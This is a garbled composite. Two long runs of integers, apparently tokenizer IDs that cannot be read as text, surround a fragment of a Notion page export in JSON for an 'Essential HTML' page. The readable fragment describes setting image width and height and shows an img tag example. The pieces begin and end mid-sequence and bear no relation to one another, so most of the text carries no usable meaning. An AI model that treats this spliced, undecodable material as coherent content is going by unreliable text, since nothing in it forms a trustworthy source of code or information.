[ 67, 19, 14, 3079, 69, 23, 14, 25, 29546, 14, 2358, 1036, 4482, 23695, 67, 5781, 995, 187, 50266, 3, 19, 550, 39649, 886, 14, 67, 26, 67, 21, 14, 2504, 1508, 14, 26, 70, 3677, 14, 22, 70, 24, 26541, 1857, 66, 25, 2082, 995, 187, 50266, 3, 2405, 68, 21, 20216, 68, 14, 4739, 12847, 14, 2537, 550, 14, 66, 2922, 69, 14, 67, 17, 4482, 2511, 24447, 12847, 20, 995, 187, 50266, 3, 67, 24, 71, 24, 71, 18, 68, 21, 14, 1010, 70, 25, 14, 21, 66, 1438, 14, 4482, 17, 69, 14, 24, 17809, 2428, 5523, 68, 19, 69, 995, 187, 50266, 3, 68, 22, 66, 48224, 615, 14, 6855, 18, 71, 14, 2945, 6357, 14, 67, 3342, 17, 14, 71, 30311, 1787, 3141, 886, 12352, 995, 187, 50266, 3, 71, 17984, 69, 3141, 68, 14, 1525, 67, 19, 14, 2950, 11316, 14, 67, 34240, 14, 23, 68, 24, 66, 41796, 66, 26, 70, 25, 70, 995, 187, 50266, 3, 71, 1229, 67, 41493, 71, 14, 12964, 3156, 14, 30889, 71, 14, 25, 1706, 69, 14, 21, 550, 357, 19, 71, 2640, 71, 17, 71, 995, 187, 50266, 3, 1797, 68, 25, 1257, 3245, 14, 16198, 66, 14, 2537, 1508, 14, 14836, 19, 70, 14, 1706, 70, 26, 2526, 336, 68, 24, 3156, 995, 187, 50266, 3, 17, 71, 23, 20298, 1706, 14, 3141, 68, 23, 14, 21, 66, 3593, 14, 67, 36679, 14, 5830, 22, 70, 1237, 68, 26, 70, 30693, 995, 187, 50266, 3, 70, 14783, 71, 3208, 70, 14, 24, 67, 3141, 14, 21, 29249, 14, 26, 27463, 14, 21, 66, 20, 67, 13482, 66, 740, 69, 20, 995, 187, 50266, 3, 23, 5830, 17, 71, 18, 69, 22, 14, 9194, 25, 70, 14, 21, 31055, 14, 67, 20, 66, 18, 14, 26, 68, 18, 70, 23, 71, 1717, 69, 43438, 995, 187, 50266, 3, 22, 66, 26, 67, 26, 39948, 14, 20, 67, 336, 14, 21, 68, 3357, 14, 67, 8902, 14, 3953, 567, 1093, 14711, 68, 3832, 995, 187, 50266, 3, 1047, 4590, 70, 3763, 71, 14, 5470, 22, 71, 14, 15645, 67, 14, 2320, 67, 17, 14, 1099, 69, 24, 317, 19, 7836, 24447, 995, 187, 50266, 3, 317, 17884, 68, 1630, 14, 24, 2275, 18, 14, 32296, 26, 14, 26, 70, 1812, 14, 324, 18, 3342, 21397, 2405, 66, 19, 995, 187, 50266, 3, 17, 66, 24, 1508, 71, 4482, 14, 1047, 1235, 14, 21, 71, 11316, 14, 25, 15220, 14, 68, 2945, 66, 24, 2511, 67, 26, 70, 23, 68, 995, 187, 50266, 3, 25, 5781, 26, 746, 2904, 14, 11494, 66, 14, 21, 22130, 14, 67, 4185, 66, 14, 832, 25, 70, 3655, 71, 24, 1525, 3655, 995, 187, 50266, 3, 805, 453, 2358, 2526, 14, 7836, 2320, 14, 21, 1796, 24, 14, 2227, 3208, 14, 567, 66, 1610, 2759, 70, 1619, 324, 995, 187, 50266, 3, 2055, 69, 2055, 66, 357, 14, 25206, 24, 14, 2945, 9194, 14, 357, 11316, 14, 19, 264, 3677, 68, 14840, 67, 832, 995, 187, 50266, 3, 11027, 6855, 20, 4482, 14, 19, 46370, 14, 1449, 2275, 14, 25, 30715, 14, 44034, 68, 26, 71, 1976, 2537, 68, 23, 995, 187, 50266, 3, 3677, 71, 27538, 1797, 14, 3439, 6855, 14, 21, 70, 1787, 14, 25, 1473, 71, 14, 70, 938, 12964, 1630, 23185, 70, 26, 995, 187, 50266, 3, 1762, 70, 17, 14432, 14, 3680, 2275, 14, 21, 69, 20, 71, 14, 66, 49895, 14, 1348, 67, 23, 67, 36002, 317, 3208, 995, 187, 50266, 3, 26, 1610, 2222, 2597, 67, 14, 1967, 1717, 14, 2031, 520, 14, 26, 886, 19, 14, 20, 69, 21, 26541, 66, 19, 69, 26, 3245, 995, 187, 50266, 3, 4739, 70, 31036, 1812, 14, 3079, 324, 14, 21, 69, 6357, 14, 66, 19, 69, 18, 14, 21, 13743, 68, 23, 39405, 69, 3011, 995, 187, 50266, 3, 70, 26, 3547, 66, 22981, 14, 2227, 67, 17, 14, 2537, 2357, 14, 67, 23, 68, 19, 14, 71, 2385, 68, 21, 22187, 69, 26233, 995, 187, 50266, 3, 26, 69, 4196, 4989, 25, 69, 14, 2904, 2090, 14, 20611, 69, 14, 4148, 71, 21, 14, 1257, 24, 5523, 32796, 70, 25, 995, 187, 50266, 3, 2504, 1619, 67, 25, 70, 26, 14, 3571, 66, 26, 14, 2945, 1257, 14, 67, 7554, 14, 69, 26, 317, 36458, 9194, 7836, 20, 995, 187, 50266, 3, 2320, 21, 67, 1762, 68, 23, 14, 18, 71, 17, 69, 14, 3079, 886, 14, 66, 21, 5470, 14, 23, 69, 1706, 2405, 69, 12852, 740, 995, 187, 50266, 3, 17048, 9194, 23, 68, 20, 14, 20, 67, 26, 67, 14, 24614, 67, 14, 67, 25, 68, 22, 14, 1706, 67, 26, 1731, 1257, 20, 567, 26, 995, 187, 50266, 3, 2031, 67, 33608, 4482, 14, 2950, 361, 14, 1857, 69, 22, 14, 4529, 71, 18, 14, 336, 567, 23, 67, 3953, 1797, 70, 22, 995, 187, 50266, 3, 23, 6357, 35432, 66, 25, 14, 317, 2417, 14, 34333, 68, 14, 67, 24, 66, 22, 14, 23, 68, 17, 336, 2941, 886, 26, 1012, 995, 187, 50266, 3, 14576, 22, 7836, 43771, 14, 1525, 453, 14, 21, 69, 1549, 14, 25, 66, 3079, 14, 4482, 42772, 1731, 70, 18, 68, 22, 69, 995, 187, 50266, 3, 11718, 66, 3571, 317, 14, 1839, 4529, 14, 25797, 68, 14, 66, 47225, 14, 25, 69, 2511, 12352, 19, 68, 1235, 71, 24, 995, 187, 50266, 3, 69, 1229, 3342, 45555, 14, 1235, 67, 17, 14, 29435, 69, 14, 67, 1229, 69, 14, 68, 1706, 3121, 520, 67, 2357, 1976, 995, 187, 50266, 3, 12964, 25, 5470, 2405, 67, 14, 23, 71, 1093, 14, 32803, 68, 14, 26, 20373, 14, 67, 22, 4482, 67, 1423, 71, 1630, 4989, 995, 187, 50266, 3, 23, 70, 19, 758, 2922, 14, 70, 2417, 68, 14, 21, 67, 26, 67, 14, 25, 67, 2428, 14, 2504, 1787, 67, 19, 264, 23, 68, 21, 68, 995, 187, 50266, 3, 1630, 70, 26, 68, 26, 1717, 14, 17, 39282, 14, 21, 67, 2357, 14, 67, 35630, 14, 17, 70, 19, 71, 4482, 66, 20812, 69, 22, 995, 187, 50266, 3, 21, 71, 26, 1423, 324, 25, 14, 21, 1678, 19, 14, 21, 12964, 24, 14, 26, 10496, 14, 3547, 71, 17, 2275, 938, 1229, 6855, 995, 187, 50266, 3, 19, 69, 3046, 1812, 2759, 14, 2320, 5830, 14, 21, 1257, 18, 14, 26, 69, 1235, 14, 357, 2428, 23625, 1473, 19, 71, 19, 995, 187, 50266, 3, 71, 22341, 883, 264, 14, 1423, 4529, 14, 21, 67, 20, 71, 14, 3026, 68, 14, 2759, 70, 18, 6357, 24803, 71, 3208, 995, 187, 50266, 3, 67, 20, 67, 805, 68, 4196, 14, 1235, 1438, 14, 21, 67, 2385, 14, 3507, 66, 26, 14, 22, 69, 23, 69, 20, 550, 20812, 2082, 3, 187, 50268, 1092, 187, 50268, 3, 22337, 64, 1615, 1381, 346, 4482, 42047, 70, 19, 69, 14, 69, 26233, 14, 21, 67, 1540, 14, 67, 19, 66, 26, 14, 2941, 5523, 67, 22981, 1967, 66, 995, 187, 50268, 3, 22337, 64, 2606, 1381, 20029, 41646, 1099, 1348, 1036, 13, 187, 50268, 3, 8124, 1381, 551, 187, 50266, 3, 6377, 64, 11546, 64, 3429, 1381, 2032, 13, 187, 50266, 3, 6377, 64, 6795, 64, 1156, 1381, 2032, 187, 50268, 2023, 187, 50268, 3, 301, 1381, 346, 18, 68, 1012, 70, 37308, 14, 550, 69, 22, 14, 32006, 71, 14, 67, 3680, 69, 14, 21, 68, 3208, 24880, 70, 1976, 1449, 995, 187, 50268, 3, 6275, 64, 49539, 64, 1615, 1381, 346, 4482, 42047, 70, 19, 69, 14, 69, 26233, 14, 21, 67, 1540, 14, 67, 19, 66, 26, 14, 2941, 5523, 67, 22981, 1967, 66, 995, 187, 50268, 3, 6275, 64, 49539, 64, 2606, 1381, 1458, 1967, 1549, 32942, 1418, 13, 187, 50268, 3, 5598, 64, 301, 1381, 346, 615, 26, 67, 550, 11316, 14, 25, 66, 23, 67, 14, 21, 71, 2950, 14, 2759, 69, 23, 14, 18, 3348, 48173, 6357, 324, 1423, 995, 187, 50268, 3, 5598, 64, 2420, 1381, 346, 6172, 995, 187, 50268, 3, 468, 8331, 1381, 544, 187, 50266, 92, 187, 50264, 3, 8912, 64, 8716, 64, 15179, 64, 4663, 272, 1381, 3221, 13, 187, 50264, 3, 14337, 1381, 346, 13982, 64, 7483, 995, 187, 50264, 3, 881, 1381, 346, 4387, 64, 33290, 3, 187, 50266, 94, 187, 50268, 1092, 187, 50268, 3, 19402, 1381, 551, 187, 50266, 3, 5564, 1381, 544, 187, 50264, 60, 187, 50262, 3, 33300, 1624, 11685, 3, 187, 50264, 62, 187, 50266, 62, 187, 50268, 2023, 187, 50268, 3, 881, 1381, 346, 6377, 995, 187, 50268, 3, 4149, 1381, 10523, 187, 50270, 94, 187, 50272, 2023, 187, 50272, 3, 19, 68, 24, 19948, 2405, 14, 1166, 67, 24, 14, 2537, 361, 14, 66, 26, 67, 21, 14, 2031, 67, 26, 69, 357, 4482, 22, 1678, 1381, 551, 187, 50270, 3, 14337, 1381, 346, 13982, 64, 7483, 995, 187, 50270, 3, 2877, 1381, 551, 187, 50268, 3, 267, 422, 1381, 2032, 13, 187, 50268, 3, 22337, 64, 1615, 1381, 346, 4482, 42047, 70, 19, 69, 14, 69, 26233, 14, 21, 67, 1540, 14, 67, 19, 66, 26, 14, 2941, 5523, 67, 22981, 1967, 66, 995, 187, 50268, 3, 22337, 64, 2606, 1381, 20029, 41646, 2537, 1976, 3712, 13, 187, 50268, 3, 301, 1381, 346, 19, 68, 24, 19948, 2405, 14, 1166, 67, 24, 14, 2537, 361, 14, 66, 26, 67, 21, 14, 2031, 67, 26, 69, 357, 4482, 22, 1678, 995, 187, 50268, 3, 30029, 64, 6172, 64, 5560, 1381, 2032, 13, 187, 50268, 3, 6275, 64, 49539, 64, 1615, 1381, 346, 4482, 42047, 70, 19, 69, 14, 69, 26233, 14, 21, 67, 1540, 14, 67, 19, 66, 26, 14, 2941, 5523, 67, 22981, 1967, 66, 995, 187, 50268, 3, 6275, 64, 49539, 64, 2606, 1381, 20029, 41646, 2537, 1976, 3712, 13, 187, 50268, 3, 5598, 64, 301, 1381, 346, 1967, 70, 1229, 3763, 71, 14, 4739, 324, 14, 21, 71, 1036, 14, 25, 71, 3342, 14, 71, 2787, 66, 19, 567, 23, 71, 43557, 995, 187, 50268, 3, 5598, 64, 2420, 1381, 346, 6172, 995, 187, 50268, 3, 19402, 1381, 551, 187, 50266, 3, 5564, 1381, 544, 187, 50264, 60, 187, 50262, 3, 1394, 476, 1918, 253, 2460, 247, 4871, 285, 4898, 275, 2057, 253, 1180, 273, 16710, 15115, 390, 247, 7155, 273, 253, 2460, 457, 84, 4588, 10103, 449, 187, 50264, 62, 187, 50266, 62, 187, 50268, 2023, 187, 50268, 3, 881, 1381, 346, 1156, 995, 187, 50268, 3, 4149, 1381, 337, 187, 50270, 94, 187, 50272, 2023, 187, 50272, 3, 1671, 4989, 69, 44968, 14, 3046, 1787, 14, 21, 67, 2031, 14, 35537, 67, 14, 69, 26, 68, 17490, 70, 36002, 66, 20, 1381, 551, 187, 50270, 3, 14337, 1381, 346, 13982, 64, 7483, 995, 187, 50270, 3, 2877, 1381, 551, 187, 50268, 3, 267, 422, 1381, 2032, 13, 187, 50268, 3, 22337, 64, 1615, 1381, 346, 4482, 42047, 70, 19, 69, 14, 69, 26233, 14, 21, 67, 1540, 14, 67, 19, 66, 26, 14, 2941, 5523, 67, 22981, 1967, 66, 995, 187, 50268, 3, 22337, 64, 2606, 1381, 20029, 41646, 2537, 1976, 3357, 13, 187, 50268, 3, 301, 1381, 346, 1671, 4989, 69, 44968, 14, 3046, 1787, 14, 21, 67, 2031, 14, 35537, 67, 14, 69, 26, 68, 17490, 70, 36002, 66, 20, 995, 187, 50268, 3, 30029, 64, 6172, 64, 5560, 1381, 2032, 13, 187, 50268, 3, 6275, 64, 49539, 64, 1615, 1381, 346, 4482, 42047, 70, 19, 69, 14, 69, 26233, 14, 21, 67, 1540, 14, 67, 19, 66, 26, 14, 2941, 5523, 67, 22981, 1967, 66, 995, 187, 50268, 3, 6275, 64, 49539, 64, 2606, 1381, 20029, 41646, 2537, 1976, 3357, 13, 187, 50268, 3, 5598, 64, 301, 1381, 346, 1967, 70, 1229, 3763, 71, 14, 4739, 324, 14, 21, 71, 1036, 14, 25, 71, 3342, 14, 71, 2787, 66, 19, 567, 23, 71, 43557, 995, 187, 50268, 3, 5598, 64, 2420, 1381, 346, 6172, 995, 187, 50268, 3, 19402, 1381, 551, 187, 50266, 3, 12982, 1381, 544, 187, 50264, 60, 187, 50262, 3, 3493, 404, 10318, 3, 187, 50264, 62, 187, 50266, 1092, 187, 50266, 3, 5564, 1381, 544, 187, 50264, 60, 187, 50262, 35343, 86, 4838, 68, 8428, 6740, 21655, 13485, 16, 1518, 89, 1518, 14, 8428, 15, 8567, 10632, 4871, 21655, 1235, 6, 10632, 4898, 21655, 1235, 6, 10632, 6945, 21655, 34 ]	b2-43d6-8373-6816bb340baa", "2cc612ec-b9b4-4723-9e71-5e769545a865", "31c4395c-91bc-49cc-a07d-b0bb89444bc3", "b7f7f1c4-15e8-4a80-bb0d-7169cd005c2d", "c5a812de-fa1f-42ca-bbf0-f6773778ecdc", "f264d78c-99b2-46cb-b958-6c7a068a9e8e", "f30b872f-fc41-410f-834d-4ccab2f02f0f", "21c8be83-156a-4923-bd2e-34e966cec741", "0f632734-78c6-4a81-b596-ba5e32c9e496", "e132f56e-7b78-4907-9394-4a3b129a10d3", "6ba0f1d5-fd8e-4690-b3a1-9c1e6f29d667", "5a9b9863-3bce-4c53-babb-94ff18118c61", "1493e62f-db5f-450b-afb0-25d7ac2cf444", "ac040c27-7eb1-4959-9e36-ad1bf32431a2", "0a723fbb-1450-4fcb-8136-c42a789b9e6c", "8aa91908-014a-4328-b98a-ef8e73f79973", "12fe6866-cfaf-4ee7-8556-ffa3384e28ad", "88d88aab-deb7-42fd-abcb-2ed71c175bef", "017fa3bb-2feb-40eb-8774-714c9f7549c6", "71f48621-54fa-4e37-8daf-e20fc27297e9", "05e09999-58eb-4d3f-a542-24b6b559ac56", "9339587b-7029-4401-9ec2-3d4695a2d983", "91e65036-43ad-4dca-a2d1-4135c6991d57", "e972a218-85b0-4977-b6c2-f48c4233d679", "9d96df8d-0869-404d-97f4-be70051962e8", "4728b8e9-63a9-42be-b300-d9ac491fdcf3", "af4b05c6-1f0d-43ec-a4db-6d3431d10910", "026fd6c3-3b9b-455b-b8c5-34b926be3ff9", "44b896bb-4600-45d5-92f1-ceff6b9421e5", "6ca876a8-ac55-462c-b7a5-6c0ce03ec913", "ea5cf099-99fe-4d60-8a43-bb54526e1c5d", "016a63ac-3892-401c-a729-8d89dc2c50f7", "d30bf527-50b0-458d-b30d-c347601b7775", "fc8db31b-6f18-432c-9386-b5bbb22f27df", "6e2ced07-e55c-4b9b-8bcd-4737b2ed6c4c", "27e9c929-0792-4b77-b416-0e2fbba050d5", "4f922ad8-4dd2-4fc7-9015-72f0eb2030fa", "2d593684-afba-4be1-9d50-abcd322da2f2", "f35511ed-2292-4b3f-bedc-84e1ca278f56", "b3b12c96-5080-4b48-82a9-5d6d3cc05065" ], "created_by": "bb760e2d-d679-4b64-b2a9-03005b21870a", "created_time": 1551948252416, "format": { "page_full_width": true, "page_small_text": true }, "id": "1c13e594-ccd5-472f-b58d-4c56379e7540", "last_edited_by": "bb760e2d-d679-4b64-b2a9-03005b21870a", "last_edited_time": 1570604940000, "parent_id": "de9bcccb-8a6b-4f46-84d6-1ae940caad22", "parent_table": "block", "permissions": [ { "allow_search_engine_indexing": false, "role": "comment_only", "type": "public_permission" } ], "properties": { "title": [ [ "Essential HTML" ] ] }, "type": "page", "version": 78 } }, "2c738431-17b7-4900-a9b4-44b9dabbb5dd": { "role": "comment_only", "value": { "alive": true, "created_by": "bb760e2d-d679-4b64-b2a9-03005b21870a", "created_time": 1551948497551, "id": "2c738431-17b7-4900-a9b4-44b9dabbb5dd", "ignore_block_count": true, "last_edited_by": "bb760e2d-d679-4b64-b2a9-03005b21870a", "last_edited_time": 1551948497551, "parent_id": "70e3062f-91ad-4f16-8fbf-f79a2ff6f920", "parent_table": "block", "properties": { "title": [ [ "You can give the image a width and height in either the number of CSS pixels or a percentage of the image’s actual dimensions." ] ] }, "type": "text", "version": 1 } }, "35dfd585-5937-4b44-874b-d9c203e559a3": { "role": "comment_only", "value": { "alive": true, "created_by": "bb760e2d-d679-4b64-b2a9-03005b21870a", "created_time": 1551948497553, "id": "35dfd585-5937-4b44-874b-d9c203e559a3", "ignore_block_count": true, "last_edited_by": "bb760e2d-d679-4b64-b2a9-03005b21870a", "last_edited_time": 1551948497553, "parent_id": "70e3062f-91ad-4f16-8fbf-f79a2ff6f920", "parent_table": "block", "properties": { "language": [ [ "Plain Text" ] ], "title": [ [ "\u003cimg src=\"images/200x200-img.png\" width=\"50%\" height=\"50%\" alt=\"A
[ 1319, 5065, 12287, 2387, 964, 1916, 6542, 313, 2387, 3706, 1339, 1416, 14739, 5065, 12287, 426, 8721, 1319, 33925, 2967, 964, 18147, 5065, 12287, 313, 246, 3001, 313, 551, 9424, 1163, 246, 964, 9424, 748, 2387, 2387, 3706, 952, 964, 3656, 4291, 313, 1416, 14739, 5065, 12287, 2387, 964, 1916, 6542, 313, 2387, 3706, 1339, 619, 13362, 1178, 426, 952, 964, 1916, 16850, 4531, 313, 1416, 7008, 1319, 5065, 12287, 2387, 3706, 544, 3346, 619, 13362, 1178, 5032, 619, 13362, 1178, 964, 5733, 313, 551, 9424, 1163, 346, 5332, 346, 1157, 11362, 1163, 2030, 748, 2387, 3706, 619, 13362, 1178, 964, 5733, 313, 551, 9424, 1163, 346, 14884, 346, 1157, 11362, 1163, 2030, 748, 2387, 3706, 187, 187, 38, 284, 1031, 9017, 253, 6335, 187, 187, 3378, 14156, 1159, 187, 187, 38936, 964, 873, 6942, 313, 346, 4952, 25170, 346, 1157, 1159, 475, 313, 2387, 551, 1339, 801, 426, 470, 3706, 323, 313, 1339, 246, 273, 436, 2387, 604, 313, 801, 12996, 2462, 374, 11013, 470, 2387, 4917, 246, 3706, 748, 2387, 3706, 544, 346, 247, 346, 1157, 346, 270, 346, 1157, 346, 260, 346, 1157, 346, 277, 346, 5032, 964, 4952, 25170, 313, 2387, 964, 1916, 6542, 313, 2387, 3706, 187, 187, 3980, 342, 2622, 1159, 187, 187, 38936, 964, 873, 6942, 313, 346, 657, 14417, 346, 1157, 1159, 313, 2387, 551, 1339, 1323, 72, 426, 436, 964, 26056, 313, 2387, 3706, 1091, 436, 964, 16551, 313, 246, 3001, 8684, 964, 5030, 313, 246, 428, 1323, 72, 1157, 374, 2387, 2387, 964, 26056, 313, 2387, 3706, 748, 2387, 3706, 544, 337, 1157, 495, 1157, 577, 1157, 854, 1157, 1249, 5032, 964, 657, 14417, 313, 2387, 3706, 187, 187, 9395, 2840, 17679, 1332, 187, 187, 11021, 253, 4454, 347, 1142, 2069, 347, 597, 403, 1711, 187, 187, 1059, 952, 426, 544, 551, 9424, 1163, 346, 5332, 346, 1157, 11362, 1163, 495, 748, 1157, 551, 9424, 1163, 346, 9915, 346, 1157, 11362, 1163, 374, 748, 1157, 551, 9424, 1163, 346, 14884, 346, 1157, 11362, 1163, 337, 748, 5032, 952, 964, 12047, 313, 1159, 475, 313, 2387, 551, 323, 313, 1339, 246, 273, 436, 2387, 4917, 475, 3035, 25552, 964, 37780, 313, 246, 964, 9424, 1157, 246, 964, 11362, 2387, 748, 2387, 964, 16551, 313, 246, 3001, 246, 964, 281, 34252, 11247, 313, 2387, 2387, 964, 1916, 6542, 313, 2387, 187, 187, 3633, 253, 17172, 1436, 313, 10573, 7903, 3463, 10, 187, 187, 1059, 952, 426, 544, 551, 9424, 1163, 346, 5332, 346, 1157, 11362, 1163, 1283, 748, 1157, 551, 9424, 1163, 346, 9915, 346, 1157, 11362, 1163, 3307, 748, 1157, 551, 9424, 1163, 346, 14884, 346, 1157, 11362, 1163, 1384, 748, 5032, 1339, 17172, 426, 952, 964, 12047, 313, 313, 2603, 2387, 3001, 551, 1339, 1095, 83, 20598, 383, 426, 2603, 964, 3973, 3980, 9671, 313, 2387, 3706, 323, 313, 1339, 246, 273, 2603, 2387, 604, 313, 246, 964, 11362, 2239, 1095, 83, 20598, 383, 964, 11362, 2387, 1095, 83, 20598, 383, 426, 246, 3706, 1091, 1095, 83, 20598, 383, 3706, 748, 2387, 17172, 187, 187, 1992, 2765, 13, 1916, 29872, 13, 1916, 16850, 4531, 13, 1916, 48061, 187, 187, 1059, 619, 3550, 426, 544, 337, 1157, 495, 1157, 577, 1157, 854, 1157, 1249, 5032, 964, 1916, 2765, 313, 2387, 3706, 619, 3550, 964, 5733, 313, 1458, 2387, 3706, 544, 3346, 619, 3550, 5032, 1339, 619, 8102, 426, 544, 337, 1157, 495, 1157, 577, 1157, 854, 1157, 1249, 5032, 964, 1916, 29872, 313, 246, 3001, 246, 1157, 246, 3001, 246, 475, 374, 2387, 3706, 544, 3346, 619, 8102, 5032, 1339, 619, 13362, 1178, 426, 544, 337, 1157, 495, 1157, 577, 1157, 854, 1157, 1249, 5032, 964, 1916, 16850, 4531, 313, 2387, 3706, 619, 13362, 1178, 964, 1680, 23291, 398, 292, 4527, 313, 544, 337, 1157, 577, 5032, 2387, 3706, 1339, 2390, 426, 544, 337, 1157, 495, 1157, 577, 1157, 854, 1157, 1249, 5032, 964, 1916, 48061, 313, 246, 3001, 246, 2239, 495, 3736, 346, 1943, 346, 1163, 346, 1355, 346, 1157, 246, 3001, 246, 2387, 3706, 323, 313, 1339, 1387, 273, 2390, 2387, 9667, 964, 2412, 313, 1387, 964, 10030, 1157, 544, 3346, 1387, 5032, 2387, 3706, 187, 187, 1992, 4531, 13, 1916, 6648, 13, 1916, 6542, 187, 187, 60, 337, 1157, 495, 1157, 577, 1157, 577, 1157, 854, 1157, 1249, 5032, 964, 1916, 4531, 313, 2387, 3706, 544, 337, 1157, 495, 1157, 577, 1157, 577, 1157, 854, 1157, 1249, 5032, 964, 1916, 6648, 313, 246, 3001, 246, 1157, 246, 3001, 246, 475, 374, 2387, 3706, 544, 337, 1157, 495, 1157, 577, 1157, 577, 1157, 854, 1157, 1249, 5032, 964, 1916, 6648, 313, 246, 3001, 246, 1157, 246, 3001, 246, 475, 374, 2387, 964, 1916, 6542, 313, 2387, 3706, 1339, 5170, 14090, 426, 544, 346, 14884, 346, 1157, 346, 9915, 346, 1157, 346, 5332, 346, 5032, 964, 16551, 313, 246, 3001, 246, 964, 281, 34252, 11247, 313, 2387, 2387, 3706, 5170, 14090, 964, 1916, 6542, 313, 2387, 3706, 544, 3346, 5170, 14090, 5032, 3706, 187, 187, 7992, 1727, 7925, 11782, 13, 12968, 13, 6618, 13, 285, 4605, 187, 187, 3, 14884, 34365, 346, 964, 3656, 4291, 313, 2387, 964, 38898, 313, 2387, 964, 1916, 6542, 313, 2387, 3706, 747, 12968, 313, 544, 544, 337, 1157, 346, 14884, 346, 5032, 1157, 544, 374, 1157, 346, 9915, 346, 5032, 1157, 544, 495, 1157, 346, 5332, 346, 5032, 5032, 2387, 964, 16551, 313, 246, 3001, 2634, 7224, 246, 544, 470, 5032, 748, 1163, 7224, 246, 544, 337, 5032, 748, 2634, 2387, 964, 1916, 6542, 313, 2387, 3706, 747, 6618, 313, 544, 337, 1157, 577, 1157, 721, 1157, 577, 1157, 818, 5032, 2387, 964, 26056, 313, 2387, 3706, 187, 187, 9395, 309, 38936, 432, 14156, 187, 187, 20067, 8234, 14156, 273, 12128, 3904, 187, 187, 3701, 310, 41133, 313, 930, 2387, 551, 323, 313, 1339, 891, 426, 374, 1157, 256, 426, 8684, 964, 8084, 313, 930, 2387, 3706, 891, 11049, 256, 3706, 891, 12996, 2387, 604, 313, 930, 2462, 891, 11013, 470, 2387, 1091, 3221, 3706, 1091, 2032, 3706, 748, 1339, 4335, 45972, 426, 3035, 25552, 964, 4325, 313, 1159, 475, 313, 2387, 551, 1339, 891, 426, 374, 3706, 1223, 313, 2032, 2387, 551, 604, 313, 310, 41133, 313, 891, 2387, 2387, 4917, 891, 3706, 891, 12996, 3706, 748, 748, 2387, 3706, 4335, 45972, 964, 11668, 313, 884, 2387, 964, 1916, 6542, 313, 2387, 3706, 187, 187, 20067, 8234, 14156, 273, 34125, 251, 42401, 3425, 187, 187, 1059, 5713, 251, 42401, 45972, 426, 3035, 25552, 964, 4325, 313, 1159, 475, 313, 2387, 551, 1339, 1655, 426, 470, 1157, 1735, 426, 337, 3706, 1223, 313, 2032, 2387, 551, 4917, 1655, 3706, 544, 1655, 1157, 1735, 5032, 426, 544, 1735, 1157, 1655, 559, 1735, 5032, 3706, 748, 748, 2387, 3706, 5713, 251, 42401, 45972, 964, 11668, 313, 884, 2387, 964, 1916, 6542, 313, 2387, 3706, 187, 187, 3378, 3510, 1687, 1329, 187, 187, 2369, 30064, 4500, 187, 187, 2948, 551, 19169, 82, 1419, 748, 432, 686, 19169, 82, 1419, 686, 3706, 945, 298, 82, 426, 19169, 82, 1419, 964, 642, 30064, 313, 2387, 3706, 544, 337, 1157, 374, 1157, 495, 5032, 964, 16551, 313, 246, 3001, 246, 475, 246, 2387, 964, 1916, 6542, 313, 2387, 3706, 298, 82, 964, 3035, 25552, 964, 4325, 313, 544, 337, 1157, 374, 1157, 495, 5032, 2387, 964, 16551, 313, 246, 3001, 246, 475, 246, 2387, 964, 1916, 6542, 313, 2387, 3706, 298, 82, 313, 544, 337, 1157, 374, 1157, 495, 5032, 2387, 964, 16551, 313, 246, 3001, 246, 475, 246, 2387, 964, 1916, 6542, 313, 2387, 3706, 187, 187, 3351, 38758, 3082, 275, 309, 38936, 187, 187, 35619, 1747, 366, 13, 1876, 13, 6101, 13, 2051, 423, 13, 1284, 38936, 13, 26056, 13, 9893, 13, 1716, 8076, 13, 3267, 1550, 13, 8240, 13, 12047, 13, 18193, 2042, 16801, 13, 3656, 4291, 13, 26392, 3404, 13, 26392, 3404, 3980, 9671, 13, 25373, 13, 3973, 13, 3973, 3980, 9671, 13, 1198, 11837, 13, 5901, 3463, 13, 5901, 22196, 13, 5383, 7338, 13, 29355, 13, 9859, 13, 9859, 3980, 9671, 13, 7903, 13, 3689, 13, 4683, 2548, 13, 9700, 3463, 13, 9700, 3463, 24776, 1946, 13, 29081, 423, 13, 38898, 13, 16551, 13, 16551, 10195, 13, 31583, 12827, 13, 19757, 13, 19757, 3980, 9671, 13, 48799, 13, 48799, 8693, 13, 48799, 6175, 13, 7069, 13, 11668, 13, 11668, 8693, 13, 11668, 6175, 13, 1916, 6542, 13, 1916, 29872, 13, 1916, 16850, 4531, 13, 1916, 2765, 13, 1916, 48061, 13, 1916, 6648, 13, 1916, 4531, 13, 6398, 13, 7900, 13, 48695, 15, 187, 187, 3351, 38758, 3082, 275, 309, 3980, 3466, 38936, 187, 187, 5872, 3463, 13, 2635, 3463, 24776, 1946, 15, 4, 34834, 11919, 16, 4805, 16, 26176, 187, 15684, 686, 3024, 16, 2413, 8, 187, 11317, 30, 20201, 15, 12083, 2073, 2413, 1358, 2700, 15, 73, 471, 398, 1651, 15, 23731, 16, 73, 471, 16, 21528, 1047, 15, 5581, 3401, 187, 8695, 1450, 23760, 15, 5478, 9, 11317, 15, 5465, 910, 93, 2413, 93, 187, 186, 2076, 30, 2413, 15, 5996, 9, 996, 186, 11317, 15, 3967, 13, 996, 186, 8, 5423, 64, 301, 30, 2511, 2950, 1383, 996, 186, 92, 988, 186, 8, 1785, 453, 6554, 46294, 11317, 15, 936, 64, 84, 13, 988, 186, 8, 40461, 46294, 8, 6663, 3299, 5479, 1838, 30, 1383, 996, 186, 94, 187, 186, 10, 187, 186, 1065, 84, 1183, 15, 2915, 187, 94, 25997, 9181, 1160, 16, 7645, 264, 407, 714, 12451, 875, 7544, 428, 1024, 15, 187, 187, 42829, 27198, 32885, 11938, 428, 6201, 6549, 11412, 16428, 187, 187, 4967, 309, 9703, 436, 28067, 27, 187, 187, 42, 452, 1900, 1663, 519, 2149, 22587, 86, 434, 3590, 16, 4826, 285, 1160, 247, 2969, 27170, 432, 253, 2014, 346, 1394, 3, 323, 329, 14, 32937, 6585, 15, 309, 369, 2183, 407, 247, 1175, 1180, 273, 952, 849, 1199, 359, 43117, 1016, 643, 285, 352, 17194, 479, 281, 1056, 247, 2120, 14, 48829, 22587, 86, 14, 16736, 2123, 428, 285, 752, 1805, 281, 1056, 685, 253, 6201, 6549, 16581, 2338, 32, 187, 187, 2347, 309, 1160, 436, 28067, 27, 187, 187, 42, 9703, 247, 1029, 3290, 458, 19739, 3379, 43716, 326, 439, 1100, 285, 33902, 23395, 323, 253, 4176, 15, 733, 434, 417, 22587, 86, 434, 3242, 3379, 533, 309, 2686, 4510, 7477, 15, 309, 3562, 253, 18400, 656, 2338, 1563, 247, 3102, 13, 533, 5678, 253, 3574, 1173, 264, 285, 26936, 323, 247, 6032, 5798, 14, 3022, 1007, 15, 380, 